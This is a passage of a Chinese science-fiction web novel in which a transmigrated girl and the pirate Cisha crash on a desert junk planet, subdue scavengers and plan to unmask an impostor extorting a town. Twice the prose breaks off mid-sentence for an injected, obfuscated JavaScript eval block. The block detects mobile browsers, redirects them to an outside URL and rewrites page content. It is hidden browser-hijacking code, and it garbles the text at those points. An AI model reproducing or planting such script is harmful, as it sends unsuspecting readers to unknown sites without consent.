四周是荒凉沙漠，几只食腐鸟虎视眈眈盯着他们。星船的主舱已经摔得四分五裂，大半截埋入了沙中。 刺鲨垫在她身下，孟雨微伸手探他鼻息，没死，但感觉快了。 她没想到刺鲨会给她当肉垫。 为什么？因为答应过老大要保护她的安全吗？ ……该不会，刺鲨的忠诚不是演的，而是他真是个傻子吧？ 想到老大发的任务是杀死刺鲨，孟雨微又想笑了。 终端没有信号，他们落到了鸟不拉屎的地方。 孟雨微从裙子底下摸出一条营养剂塞到嘴里，橘子味的液体下肚，暖意和体力一起涌了上来。 她十分庆幸把自己穿成了圣诞树，绑在身上的武器和营养剂全没掉。 还剩下一小点营养剂，她没浪费，挤进刺鲨嘴里。 孟雨微有点可惜，刺鲨还没醒，所以不能让他把包装袋也嚼碎吃掉。 现在的刺鲨还没成为原著的赤王，在完成“被男主打倒”的剧情任务前，他不会轻易死亡。 这也是孟雨微敢赌不稳定虫洞的原因，她相信刺鲨的反派光环。 孟雨微祈祷刺鲨快醒过来自己走路，她吃不了在沙漠里拖一个成年男子的苦，何况这人还有条死沉的机械臂。 有机会的话，孟雨微还想问他精神体的事情。 原著的精神体只有动植物或是幻想生物，但不知为何，就像人类会认出自己的身体部位，她无比确定荧绿匕首就是她的一部分。 这个星球的“太阳”有着蓝色日晕，在缓慢下沉。孟雨微想捡点星船残骸垃圾搭简易帐篷，眼尖地看见远处的粉色天空下，车辆扬起的沙尘像一条巨大的沙虫。 有人在往这个方向赶来。 孟雨微改变了主意，她躺回刺鲨身边装死。 . 不久后，引擎声在他们附近停下，五六道脚步声踩在沙子上。 “我就记得是这个方向！”尖细的男音欣喜若狂，“头儿，这是轻型艇，战斗机！拉走能卖不少钱！弟兄们的保护费有着落了呀！” “附近肯定还落了东西，都给我搜！”首领声音粗犷沙哑，听上去是个吃了很多年沙子的女人。 “这边有人！一大一小！”沉重的脚步声跑来，声音主人探了刺鲨和孟雨微鼻息，“都是活的，可以趁热卖！” 这人的声音像个胖子，孟雨微没有把握挑战大体型选手，她继续装死。 “卖你个头！那小孩穿的全是牌子货，肯定是哪家大小姐带着保镖偷溜出门！”尖细的声音斥责。 孟雨微联想到被她烧毁的海岛别墅。 天杀的，她不会一把火点了自己家吧？ “那我们要扣下她，等她家里来赎人吗？”探孟雨微鼻息的胖男人问。 “你傻呀？有钱人看不起我们，我们要是抓了他们的人打了他们的脸，他们灭了我们还差不多，怎么会老实给我们钱？我们应该把人交给那位大人！那位大人一定能把她卖个好价钱，说不定还给咱们减免保护费呢！” 尖细声音的主人跑过来，想扯下孟雨微的终端：“愣着干什么？先把他们身上值钱的东西拿走！” “不错，就你小子点子多。” 没有人接话，因为这是孟雨微的声音。她说话的同时翻身而起，圈住瘦小男人，持刀抵在他脖子上。 她勒令道：“退后！” 四名拾荒者警惕地看着她，他们比孟雨微预想的穷苦，全穿着缝合的破布，深色皮肤粗糙且脏污，机械义肢已经普及的时代，他们的残疾处却空空如也。 瘦小男人身上传来隐隐约约的馊味，孟雨微恍惚以为自己坐在最便宜的网约车上。 他尖叫道：“快退后呀！愣着干什么？” 紧接着，他谄媚地握住孟雨微的刀刃：“大小姐，您悠着……” “老实点！”孟雨微手上用力，他惊恐地呜咽一声，脖子渗出血迹，不敢说话了。 孟雨微被熏得发懵，单麻花辫的女性拾荒者走出来，她开口，是刚才听到的首领的声音：“放开沙鼠，我能放你和你的保镖安全离开。” 孟雨微乐了，把她当小孩骗呢？ 她说：“我要你们的车和武器。” “这不可能。” “原来车比手下贵呀？那我拉他给我陪葬，好像不太划算。”孟雨微笑嘻嘻地挑拨离间，“你这老大真会算账，难怪能带弟兄们一起赚钱。保护费凑够了吗？” 沙鼠颤抖着嗓子喊道：“头儿，您别听她的！我不值这么多！您能收留我，我就已经感恩戴德……” “安静。”女人开口，沙鼠哽咽着闭嘴了，女人深呼吸，“车和武器是我们活命的家伙，除了这些，钱财、药物、食物，你要什么都可以。” “你们能不能活命关我什么事？”孟雨微确实需要药物，但她冷笑着没露出破绽，“你们说要卖我时，可没管我能不能活。” 女人皱眉，总算明白她是个和小孩样貌不符的难啃硬骨头了。她干涩的眼睛转动，看到孟雨微脚边躺着的人，瞳孔一缩。 “他长得很像星盗刺鲨，你是他的主人？”她循循善诱，“他很有价值。我们或许可以谈谈，各付出一些利益，得到更多的收获，还有一段友谊。” 女人似乎不认为这是刺鲨，还把孟雨微当成找替身的刺鲨狂热粉。 “又在打卖人的主意？这是传家宝，不卖的。”孟雨微转移话题，“你居然认识刺鲨，我以为你们这里的人都不上星网呢。” “外面的消息我们还是知道的。”女人苦笑，“这颗暗星虽然是垃圾星，但只是生存环境恶劣。” 暗星，被官方放弃的灰色地带，混乱无主的第六星域。听她的话，他们这地方有网。 “是吗？那你们知道我的名号吗？”孟雨微继续拖时间。 没有人说话，孟雨微也不指望他们能答。 “太阳”快要落下了，温度很低。孟雨微怀里的沙鼠瑟缩了一下，小声说：“……你不是丧心病狂的罪犯，对吧？” 难怪孟雨微觉得他奇怪，这完全是个女孩的声音。 夏天垃圾堆的味道又从沙鼠身上飘上来了。 孟雨微的轻笑在臭气中扭曲成了狞笑：“你不会觉得喊我一声好人姐姐，我就会放过你了吧？” “……你早就醒了，你知道我们来了，你原本可以离开，但你为了重伤的同伴留了下来。”沙鼠威胁她，臭气丝丝缕缕，“老大和你一样，所以，你要是杀了我，那你一定走不出这片沙漠。” 沙鼠把她说得太像好人了，孟雨微确实想蹭刺鲨的反派光环，但她不跑路不是因为没脑子。 如果来的是好人，他们能直接获救，不用跑。来的是坏人，四个轮子的车一定能追上两条腿的孟雨微，跑不掉。 难道这小姑娘在给自己递台阶？有意思。 孟雨微顺着沙鼠给的人设演下去：“你们效忠谁，联邦还是帝国？” 这是原著最经典的贯穿始末的党争，世上没有纯粹的中立，宇宙里每时每刻都有人为了阵营打架，看似自由的星盗王也有两大阵营的保护伞。 她的话一出，原本就凉的空气更加冷了。 孟雨微的胳膊一阵温热的湿意，被她圈住的沙鼠居然哭了。 “这里是第六星域，我们只想好好生活，无意参与政治斗争。”单辫的首领叹气，“四百公里外有个城镇，里面有许多和我们一样的拾荒者，我带你们去找医生。你可以一直带着沙鼠，直到你认为自己安全再放她离开。我们会撤得远远的，然后我们就当没见过，怎么样？” 孟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588763|171782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨微余光瞥见刺鲨的手指动了动。 “你说的我一个字都不相信，我要是上了你们的车，一定会被杀千百遍。”孟雨微灿烂地笑了，“但我愿意和你们赌。我体内有炸弹，我死了它就会炸开，我能带大家一起完蛋。” 孟雨微放开沙鼠，将她大力朝外推去，一直哭泣的女孩被推的踉跄，却猛地在半空中转身，对她抛出粉末。孟雨微身体比脑子快，她迅速闪避，四名拾荒者一起冲了上来封住她的退路。 一袭身影掠过孟雨微，刺鲨如一枚炮弹切入了战场，鲨鱼精神体再度和主人合二为一。孟雨微觉得那个胖子挺壮的，但落到刺鲨手里就像面团，筋道爽滑地被抡起来扔出去。 “全留活口！”孟雨微边喊，边抬脚向沙鼠踹去。 “啧！”刺鲨表示收到。 沙鼠被孟雨微压倒时，其余四名拾荒者也全被刺鲨掼到了地上，孟雨微凭借小偷小摸的经验，从沙鼠身上掏出来一堆瓶瓶罐罐，仿佛在清仓鼠的颊囊，又或者哆啦A梦的口袋，零零碎碎的小玩意儿似乎子子孙孙无穷尽也。 沙鼠的体型迅速小了一圈，她大半张脸都是烧伤疤，狰狞地笑着，骂得很脏：“&^%$*&%￥!去死吧！” 砰！！ 类似跑车引擎的一声巨响，沙鼠被吓得一哆嗦。孟雨微擒住她的手也一抖。 二人转头，刺鲨的机械左臂关节张合，缝隙里有红色的光芒亮起，似乎是在蓄力。 他鲨鱼牙一张一合：“小鬼，活够了？” 沙鼠不说话了，红着眼眶瞪孟雨微。 刺鲨机械臂恢复原状，他转向孟雨微：“你感觉怎么样？” 尽管闪避及时，孟雨微还是吃进去了一些粉末。她不好意思说，刚才一番折腾她已经不冷也不怎么疼了，果然生命在于运动。 孟雨微细心感受，不合时宜地回味了一下。 好像是玉米味。 夜色降临，沙漠风萧瑟地吹过，什么都没发生。 孟雨微忍不住问沙鼠：“你的玉米淀粉理论上应该有什么效果？” “不可能！明明刚才四种药引你全都吸入了！”沙鼠崩溃尖叫，烧伤的脸颊颤动，“我炼了足足两年！你应该大脑麻痹四肢抽搐啊！你不是智人，你究竟是什么东西？” 原来这女孩刚才飘的气味是在给她下药，而不是没洗澡。 好先进好没下限的攻击方式。 孟雨微晃了晃沙鼠身上搜出来的试管：“你是说你做了两年的玉米淀粉？” 刺鲨嗤笑出声，沙鼠张了张嘴，颓然地垂下头，彻底失去了骂骂咧咧的反抗精神。 刺鲨将其余四个人的作案工具没收，全扔上了车，又拿绳子把五个人串成一串，手法十分专业。 孟雨微在监工，刺鲨频频回头，观察她的状态。他像高三时神出鬼没的教导主任，过量的关心让他变得又黏又烦人。 刺鲨的伤口晃眼，孟雨微咽下损人的话，说：“别看了，还没死。你的伤势怎么样？” “一点小伤。”刺鲨回答，“肩部拉伤，有些星船碎片插进肉里了，骨头应该也断了几根。” 他显然并不习惯她的关心，但见她皱着眉，还是不太熟练地安慰：“放轻松，我的一千五百万赏金就是这么打上来的，阿瑞斯人可没那么容易死。” 可恶的战斗种族，这不公平。 孟雨微顿感一阵凄凉，她开始觉得疼和冷了，准备上车等着，身后沙哑沉重的女声止住了她的脚步。 “你是……真正的刺鲨？” 孟雨微回头，拾荒者首领不知什么时候醒来了，单麻花辫的女人面无血色。 刺鲨乐了：“想要我在你尸体上签个名吗？” 首领目呲欲裂，咬牙切齿：“一年前，有个自称刺鲨的人屠了我们的城镇，逼我们交保护费……” “他、是、谁？” 刺鲨不乐了，他邪性地挑了挑眉。 5. 第 5 章 首先，孟雨微不知道假刺鲨是谁。 原著有关刺鲨成为赤王前的内容不多，孟雨微只记得他是被老大买下的角斗场奴隶，后来背叛杀死老大。 其次，真刺鲨眼角抽搐，说明他也没有头绪。 最后，他们决定休战，一同前往四百公里外的城镇。 刺鲨不愧有“破坏”恶名，下手又黑又狠。一挑四这么忙，居然还能忙中有序地把拾荒者们的四肢卸掉。 孟雨微本不想带着一窝小弱病残行动，拾荒者首领看出了她的不耐烦，坦白自己是治疗师。她的学徒沙鼠帮她治疗后，她就能给其余人接回关节。 余一还想替她和刺鲨疗伤，孟雨微拒绝了，只松口让她为同伴治疗。 沙鼠会用毒，余一肯定也会。 孟雨微谨慎地拿走余一给拾荒者用过的药物，先递给刺鲨用，等刺鲨肉眼可见的状态变好，她再给自己清创上药。 做这些时，沙鼠一直瞪着她，眼中仿佛有千言万语的脏话。 “你是不是觉得我特好看？暗恋我？”孟雨微问。 沙鼠被抓包，别扭地偏过了头，她搓着自己全是烧伤疤的胳膊，脸上粉色的新肉也更粉了。 沙鼠是全身长满不好看疤痕的小孩，孟雨微的随口一句话戳到她的自尊了。 孟雨微向来尊老爱幼，她想了想，挽起沙鼠胳膊，不顾她“大人，使不得呀！会把您衣服弄脏的……”的赔笑，将浑身抗拒的她拽到余一身边。 余一在给其他人治疗，沙鼠安静了。 治疗师全称精神治疗师，七大职业者之一，顾名思义，是能运用并治疗精神力的医生。 原著男主就是指挥治疗双修，他初入最需要知识积累的指挥系时，因出身贫寒，联邦军校许多人嘲弄他，但当他展现治疗师的实力时，这群天之骄子全乖乖听话了，甚至争相与他组队。 这就是治疗师的魅力。指挥制造死亡，而治疗师对抗死亡。 余一在给胖子治疗，她瞳孔隐约有光亮起，水母触手般的精神力触须正从她的指尖生出，钻入伤口皮肤。 孟雨微趁着间隙开口：“余一，你学生的皮肤你能治吗？” 余一愣了下，回道：“可以，但设备和材料不便宜，我和她聊过，需要五六百万。” 孟雨微咋舌：“抢钱啊。” 沙鼠冷冷道：“你在怜悯我吗？” “啊？不不不，千万别误会，你没那么重要。”孟雨微摆手，“你长什么样我不在乎，不久前我们还你死我活呢。我只是想恶心你，如果你能被我气死，或者因敏感自卑自杀，那我不就赚到了？” 余一消毒的手顿了顿，刺鲨讥笑出声。 沙鼠脸红了，想甩开她的手，没能成功：“谁自卑了？谁要自杀了！我告诉你我不会如你所愿的！” “天呐，你还会说成语。你几岁了？” 沙鼠一噎。 “想骂就骂呗，你刚才那句‘&^%$*&%￥’真的很有水平。”能在电竞圈杀个七进七出。 “对不起，我不说脏话了。那句话是我傻叉，是在骂我自己。”沙鼠脖子一横，睫毛轻颤，“生气的话你打我吧，别杀我……” 沙鼠还挺……能屈能伸，她讨打的画面有点诡异。孟雨微经历过正常教育，不会恶劣到暴打小朋友。 但沙鼠不久前还想把她和刺鲨卖掉，并且差点给她下毒成功。 想靠挨揍冰释前嫌，哪有这么好的事？ “心理负担很重吧？想要我打你，让你放心些吧？”孟雨微轻笑，“凭什么？” 沙鼠愣了愣，紧接着全身都红了，紧紧闭上嘴，任孟雨微怎么逗都不讲话了。 刺鲨已经龇着鲨鱼牙乐了，他把精神体放了出来，鲨鱼和刺鲨表情如出一辙。 . 孟雨微找完乐子，继续观看余一治疗。她的动作细致又迅速，几乎不需要思考，就让四名肢体绵软的拾荒者初具人形。 “你是A级？”刺鲨看得饶有兴致。 “出过一些事，掉到了负A。”余一说，连续使用精神力让她脸色苍白得像纸。 “哦，那挺可惜的。”刺鲨语气里听不出多少可惜，小臂长的鲨鱼精神体绕着他游弋，“我是超A级。” 余一斟酌着说：“你对精神体的操控力很强，或许你很快就要突破S级了。” 精神力的使用有四个阶段，即感知、影响、具现、操控。能熟练操控精神体作战，是判断S级的重要标准。 刺鲨轻笑一声，不置可否。 孟雨微也笑了：谁问他了？ 这一声轻飘刺耳，刺鲨瞥向她，鲨鱼也缓慢地扭身盯住了她，一双捕猎者的眼睛。 然后，它恶劣地龇开牙，仿佛一张血腥的笑脸。 鲨鱼如离弦之箭径直冲向她！ 精神体是主人精神意识的具现，刺鲨潜意识不信她，还想杀她？ 不对！刺鲨表情发愣，眼神慌乱，他没料到鲨鱼会冲出去？ 这是超A级常见的精神体失控！ “*&%￥*&！”被孟雨微挽着的沙鼠见挣脱不了她的桎梏，鸟语花香地拔腿就拽着她跑。 脑后刮来阴风，来不及了。孟雨微扔开沙鼠，从腿间抽出小刀，反手对准鲨鱼来的方向。 精神体重伤，主人也会脑损伤。是刺鲨遛狗不牵绳在先，她是被迫暴打狗主人的。 千钧一发之际，鲨鱼的身体瞬间从孟雨微的刀刃上穿过去。 是刺鲨停止具现了。 摔倒在地的沙鼠长出口气，刚想爬起来，却看见鲨鱼重新凝实，与持刀的孟雨微对峙，脸上依然是标志性的龇牙笑。 刺鲨下一刻来到，胳膊抡圆，直接将手臂长的鲨鱼当排球发射了出去。刺鲨与它共感，表情扭曲了一瞬。 孟雨微：“……” 鲨鱼灰头土脸地窜回来，依然瞪眼看着孟雨微，刺鲨低气压地喊了几声“滚回来”，它置若罔闻。 鲨鱼眼睛变圆了些，它的左胸鳍有一处缺口，刺鲨正好没有左臂。 孟雨微鬼使神差地伸出一根手指，在鲨鱼面前左右晃动，它的脑袋随之摇摆。 孟雨微：“它是不是想吃我？” “它就是贱。”刺鲨撸起袖子准备发球，“揍两顿就不犯贱了。” “等等。”孟雨微喝止刺鲨。她将手指怼到鲨鱼嘴边，它抱住孟雨微的手，张嘴啃了下去。 孟雨微脑袋里出现主播音：经常养鲨鱼的朋友都知道，像刺鲨这个品种呢，它是很喜欢啃人的，而这时候，我们的主人可以扣它嗓子眼…… 鲨鱼干呕着一个激灵，逃开了。 孟雨微对它勾勾手，它歪歪脑袋，又张嘴扑了上来。它像是把孟雨微的手当成了玩具，兴奋地绕圈。尽管没长到原著一口一个敌人的长度，它背部的棘刺已经能钩破人的皮肤。 孟雨微赌对了，刺鲨的精神体只是对她好奇和感兴趣，而且人来疯。若用狗的社交行为来比喻，鲨鱼在对她冒昧地嗅闻和邀玩，并在被她扣嗓子眼后懂了一点社交礼仪。 看见鲨鱼在孟雨微手里炫技，刺鲨的表情活像见了鬼：“它连老大都咬，为什么会听你的？你做了什么？” 刺鲨这是潜意识想弄死老大，还是太喜欢老大，想要邀玩？ 孟雨微：“因为我有美好品德，所以动物们亲近我。”公主电影里都是这么演的。 刺鲨满脸狐疑：“精神体不是动物。” “是的，精神体不仅仅是动物，还有植物和神话生物。”孟雨微认真地说，“它们都喜欢好人。” “我没和你说这个。”刺鲨郁闷地看着自己的精神体在孟雨微手里翻飞，啧了一声，“算了。” 鲨鱼总算玩够，又听得进他的指令了，它钻回刺鲨胸膛，泛起透明的涟漪。 “收拾好了就走吧。”孟雨微抿去指尖的血珠，一抬眼，发现众人的表情震惊又古怪。沙鼠的眼睛骂得很生动，在孟雨微看过来时，又多了几分畏惧。 逗弄他人精神体是很危险的行为，孟雨微似乎吓到他们了。 为了进一步恐吓他们，孟雨微架着两眼发直的沙鼠，和刺鲨在越野车后座，一左一右夹着余一。 . 越野车是自动驾驶，在破铜烂铁散架般的动静里，余一讲述了假刺鲨的事。 这颗行星名为XM68，D级垃圾星。一二三星系大部分属于联邦，第四星系全是帝国领土，XM68就夹在第三和第四星系中间，边缘到星系航图都找不到它。 它是联邦和帝国的交界处的暗星，环境恶劣，人更恶劣。 XM68上大多是罪犯、难民和星盗，正所谓穷山恶水出刁民，刁民们穷且益坚地窝里斗，也算苦中作乐有滋有味。 但一年前，假刺鲨领着手下包围了他们的城镇，要求所有人给他交保护费，否则带走。当地人自然是不服，但假刺鲨实力强大，火力镇压了所有反对意见，并用星船将重伤的手下败将运走。 几天之后，出头鸟和刺头都消失了，城里只剩没有还手之力的怂包。假刺鲨将所有的星船砸烂，截断了这颗星球与其他星的往来。 为了自保，大家想尽办法赚钱，砸锅卖铁，星网诈骗，甚至有人自愿安装芯片炸弹，去外星工作，再定期回来给自己和家人交赎金。但假刺鲨每次收的保护费都比上次更高，许多人不堪重负。 孟雨微听完只有一个感受：这也太有才华了。 若说星盗王的星盗团实力在第一梯队，那么刺鲨所在的座头鲸星盗团就是第二梯队。 XM68很穷，没有争夺的价值。“刺鲨”垄断XM68，第一梯队的星盗王不会打抱不平，而同属第二梯队的星盗都有各自的坏事要干。 至于求助官方……XM68是暗星，居民没点犯罪史都不好意思出来混。它还不参与阵营斗争，帝国和联邦都懒得搭理。 说白了，帮它得不到好处，还会惹一身骚。 可如果XM68带不来利益，假刺鲨为什么霸占它？ 孟雨微：“假货一共收了你们多少保护费？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588764|171782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余一：“至少一个亿。” 孟雨微倒吸一口凉气。 原著作者“一粒种子”为了方便阅读，将信用点和RMB汇率设为1：1。在人均月薪五千的星际，刺鲨的1500万赏金实属夸张，而假刺鲨捞了一个亿！ 孟雨微：“垃圾星能赚这么多吗？” XM68可是星系航图都找不到的偏远垃圾星，她的月薪连垃圾星的平均水平都够不到？ “我的妹妹是A级的机械师。”余一闭了闭眼，“……她就是戴上芯片炸弹，去外星赚钱的人。” 这就不奇怪了。 机械师，七大职业者之一，上通义肢机甲，下知武器工具，在高科技时代遍地是赚钱路子。 没想到小小垃圾星卧虎藏龙，居然能出现一对治疗师和机械师姐妹。 等等……姐妹？ 孟雨微：“你们是双胞胎？” 原著赤王嚣张跋扈，唯我独尊，只有麾下双胞胎姐妹的话他能听取一二。这对姐妹花是他的左膀右臂，妹妹创造义肢和机甲，为他带来机械军团，姐姐修补伤口与血肉，让部将不眠不休。 余一更加警惕：“你见过她了？” 她的热度隔着相贴的身体，源源不断传给孟雨微。 原著中，这对姐妹是机械化程度超过90%的改造人，只保留了大脑等重要器官，并因机械改造导致精神力异化，无法具现精神体。 男主裴青山正是抓住了改造人的弱点，杀死机械师妹妹，然后击破赤王的机械军团。 书里的刺鲨星盗团从上到下都脑子有病，不是狂躁就是抑郁，可现在的余一很沉稳。 书中的癫狂版余一……会和机械改造以及精神体异化有关吗？ “我知道你们，帝国来的对吧？”孟雨微从余一的表情里得到肯定的答案，她说，“我是为XM68来的。” 刺鲨挑眉，余一的眉毛更加紧锁：“我听说座头鲸是一名仁慈的绅士，感谢他愿意对我们伸出援手。只是不知道……座头鲸大人需要什么回报？” 座头鲸就是刺鲨老大的名字。 “你错了。”孟雨微指向自己，“帮你解决困境的人是我们，你应该问我想要什么，而不是感谢座头鲸。” 她本不想掺和星盗间的破事，可是交通被假刺鲨截断，她想坐船离开一定会对上假刺鲨。所以她改变主意了。 既然要干，那就把利益最大化。 车内格外安静，刺鲨用眼神严厉地警告孟雨微，她直视了回去。一紫一绿两双眼睛，野兽般的目光如利刃交锋，余一轻声插入他们的对峙：“……你想收我们当手下？我们有什么值得你冒险的价值？” “你觉得没有，不代表就真的没有。再说了，你难道想一辈子待在垃圾星上，随便谁都能来踩你们一脚？”孟雨微冷冷地说，“我想要的，你们一定能为我取得。” 迎着刺鲨和余一惊讶的目光，孟雨微说：“我能承诺的，只有不会危害你们性命。好好考虑吧。” 孟雨微心脏怦怦跳，她能偷走赤王的剧情资源吗？她拥有改变的权限吗？ 她绝不退让，静默中，刺鲨咬牙，率先移开了视线。 “不用了。”余一摇头，“我没有别的选择，不是么？” 她可以！ “那我们就是一伙的了！”孟雨微脑袋一歪，大剌剌地靠在余一的肩膀上。 是很温暖的血肉之躯。 ＊＊＊ 历经三十八个系统时，刺鲨终于见到了余一。 她是藏在救生舱里爬回来的，她的机械身躯被拦腰斩断，胸部以下电线零件裸露在外。 蓝水银和冷却液全漏，她能撑这么久简直是个奇迹。 当看见她紧紧抱着一个罐子时，刺鲨猜到了原因。 罐子里保护着一颗烂掉的大脑。 奇怪的熟悉感笼罩了他，令他的每一滴血凝结。 “谁干的？”刺鲨哑着嗓子问。 “裴青山知道机械的弱点了。”余一咬牙，她面目狰狞，宛如地狱归来的恶鬼，可没有鬼会这么汹涌地流泪。 “妹妹是精神力异化后使用过度导致的脑休克，我知道怎么做手术！那门考试我是满分过的，我还教过沙鼠，如果我没有机械改造，还能有精神体，我完全可以救回来她的……” 余一没有再说下去，他们都知道，这是不可能的事。 如果刺鲨早一点，哪怕只是早半年来到XM68，他们这群因穷途末路聚在一起的疯子，结局都会有所不同。 他们相遇太迟了。 刺鲨拨开余一的额发，直视她近乎滴血的眼睛，缓缓说：“我会杀了他。” 他的眼中有幽暗的雷霆翻滚。与裴青山为敌后，他们节节败退，他从未如此狼狈。 刺鲨看见了巨大的死亡横亘在他面前，犹如天堑，但他将一往无前。 他只能一往无前。 距离刺鲨被裴青山斩首，还有十天。 ——《口口书·赤王末路》节选 6. 第 6 章 眯了没多久，恒星的光变得晃眼，天居然亮了。 车窗外依然是一望无际的荒漠，孟雨微问：“现在几点？我睡了多久？” “晚上九点三十。”刺鲨倚着车窗，在玩终端里的吃小鱼游戏，“你大概睡了四十分钟。” 晚上是指母星时间，孟雨微有点恍惚，她真的不在地球了。 感谢作者一粒种子的懒惰，不管星球昼夜更替一次需要多久，书中绝大多数智慧生命遵循24小时制的作息。 拾荒者们应该是累极了，车上此起彼伏的呼噜声。 孟雨微目光越过阖眼休息的余一，刺鲨满目血丝，脸色苍白，嘴唇也毫无血色。 她：“你去休息一下？” 刺鲨斜眼睨她，躁郁之色浮现，不太高兴地亮出鲨鱼牙。 孟雨微打断他：“我也就和你客气一下，你玩吧，我休息够了要接着睡了。” 她再度闭上眼睛。 足足花了四五个系统时，越野车才抵达余一说的城镇。 沙漠的房子用原始的砖石和泥土垒成，低矮的红色建筑排布拥挤，和她原本世界里的贫民窟布局相似。 余一收拾出来一个空房间给他们休整，五天后就是假刺鲨月度结算保护费的时刻，余一的妹妹也会回来，她们没有太多的备战时间。 “我们星船的残骸你能卖就卖，信用点你先拿着交保护费，别卖便宜了。记得留份账单，我之后清点假货的遗产要用。”孟雨微想了想，“还有，召集所有核心成员，带我认一遍人。” 余一明白她要开始集结力量：“但……有些人已经投奔了假刺鲨，他们会是隐患。” “那就更需要喊来了。” “我知道了。”余一颔首，“我去准备，会议安排在明天上午，可以吗？” 孟雨微竖起大拇指，她喜欢聪明人。 余一同他们道别，离开时带上了门，等她走远，孟雨微立刻上前锁门，放下所有遮光帘。 现在是晚上1：20，外面日光高照。 黑暗笼罩房间，荧蓝的光从孟雨微背后投来，她转身，刺鲨大马金刀坐在铁板床上，正在翻终端的联系人。 孟雨微看见光幕上的“老大”一词，眼角一跳：“你在做什么？” “当然是向老大汇报，他会派船来接我们。”刺鲨冷笑，“那女人在撒谎，垃圾星怎么可能赚一个亿？我的账上都只有五千信用点。” 孟雨微从没想过求助座头鲸，她的身份被座头鲸发现就是死路一条，没被发现就得替少女执行杀杀杀任务。 “是你自己攒不住钱，不要小看劳动人民的创造力。”孟雨微按住他拨通通讯的手。 刺鲨抬头，孟雨微坐到他身边，进入深夜谈心模式：“钱花这么快，座……老大知道你给自己买机甲了吗？” 那就别说座头鲸了，再来几辆虎鲸蓝鲸也是照揍。 “你在说什么？”刺鲨眯眼打量她，忽然一哂，“哦，你不知道，我的花费都是老大报销的。” “你买玩具也要找他？”小朋友今年几岁了？ “嘲讽我啊？我有工资，每个月八千信用点。”刺鲨得意地伸展机械臂，线条优美，“我平常用不到几个钱，买武器才找老大。” 孟雨微不知该摆出什么表情，刺鲨可是有多年工作经验的老星盗，官方赏金高达1500万，而他不吃不喝工作156年4个月，才和自杀赚的一样多。 “……你们关系真好。”她觉得刺鲨浑身透着邪门，同情道，“简直是生死之交。” 刺鲨的钱全握在对方手中，买了什么武器老大都清楚，可不就是把命交到他手里？ 如果哪天刺鲨联系不上座头鲸，但又急需钱救命，那就只能自求多福了。 哦对，联系上座头鲸也没用，他已经动了杀心，肯定不会掏钱。 刺鲨没听出来她的讽刺，神色虽漫不经心，但口吻很认真：“当然，全龙骨号都知道，老大救过我的命。” 孟雨微顺着他的话说：“他们说，是老大让你从一无所有，变成了1500万赏金的星盗。” 稍微有点自尊的人都会纠正，但刺鲨没有，他眼睛微微发亮，很是认同。 “你不用试探。”刺鲨嘴角噙着笑，露出尖锐牙齿，“我知道老大为什么让我待在你身边。” 孟雨微的心一沉。 他知道座头鲸想杀他了？ 孟雨微从沙鼠身上顺走了很多药，她的手缓缓背到身后：“我不明白你的意思。” “你是老大那个留在帝国的孩子。”刺鲨笃定道，“他想让我保护继承人。” “……”孟雨微捏着毒，“谁告诉你的？” “我猜的。我从没见过老大这么重视过一个人的性命，你可是武器，谁会怕武器在战场折断呢？我一直在思考原因，直到沙漠里，你对那群捡破烂的说我是传家宝。”刺鲨冲她龇牙，“你好几次都直接喊了老大的名字，还当着我面招揽那个女人，越过老大养私兵，你完全不怕我告诉老大。” “你比我想得要聪明。”孟雨微索性承认，“那你现在要向座头鲸告状吗？” “大小姐，别玩我了，老大人好，你又是他女儿，你和他道个歉，他至少不会杀了你吧？” 孟雨微心想：说不定座头鲸会奖励我给别人递任务芯片，然后芯片里写着“杀死给你芯片的杖毙”。 “反正你快去认错吧，别让我打扰老大。”刺鲨烦躁地抓了抓凌乱的红发，忽然掀起眼，“你的手一直藏在裙子里干嘛？” “找吃的。”孟雨微掏出来一根抹茶味营养剂，撕开吃掉，“你说过会保证我的安全，会执行我所有命令，这些话还算数吗？” “当然了。”刺鲨咽了咽口水，“老大选择我来辅佐你，不只是因为我强，还因为我和那群爱使阴招的小人不一样，我说到做到。” “太好了，那借我点钱吧。”孟雨微伸手。 “这是赔偿？” “不，这是命令。” 刺鲨桀骜的脸凝固住了：“你要多少？” “不多，就五千。” 刺鲨拧着眉给她转了账，没问她什么时候还钱，她默认是白送。 孟雨微瞟到自己的余额有六万五千多，她迅速划到其他页面：“你不问我要钱做什么吗？” “你是指挥，我听你的。”刺鲨数完他的余额，瞥向孟雨微的终端，“老大在找你。” 是座头鲸的通讯，真倒霉，偏偏在没息屏时被刺鲨看见。 “我有事要交给你办。”孟雨微决定支开刺鲨。 刺鲨可能很简单，座头鲸绝对不简单。 车上睡觉时，孟雨微又努力想起来一些原著内容，刺鲨的老大座头鲸虽然是星盗，但却是一名受过高等教育、不屑与贵族为伍的绅士。他劫富济贫，从不伤害平民，哪怕有星船误入他统治的星域，也只需交一些基础过路费就能安全航行。 也因此他被忠犬反噬死亡，好人无好报才尤为令人惋惜，并显得刺鲨格外丧心病狂。 真的吗？ 刺鲨几乎不眠不休地替座头鲸卖命，月薪也才八千，而联邦和帝国认为刺鲨的人头值1500万。 对手下抠门，还想暗杀手下的座头鲸，真的仁慈吗？ . 光幕展开，孟雨微见到了一座巍峨的山。再定睛一看，肉山的最上端戴着一张全遮脸的面具。这是个比例极不协调的男人，头小身大，像在馒头上粘了颗绿豆。 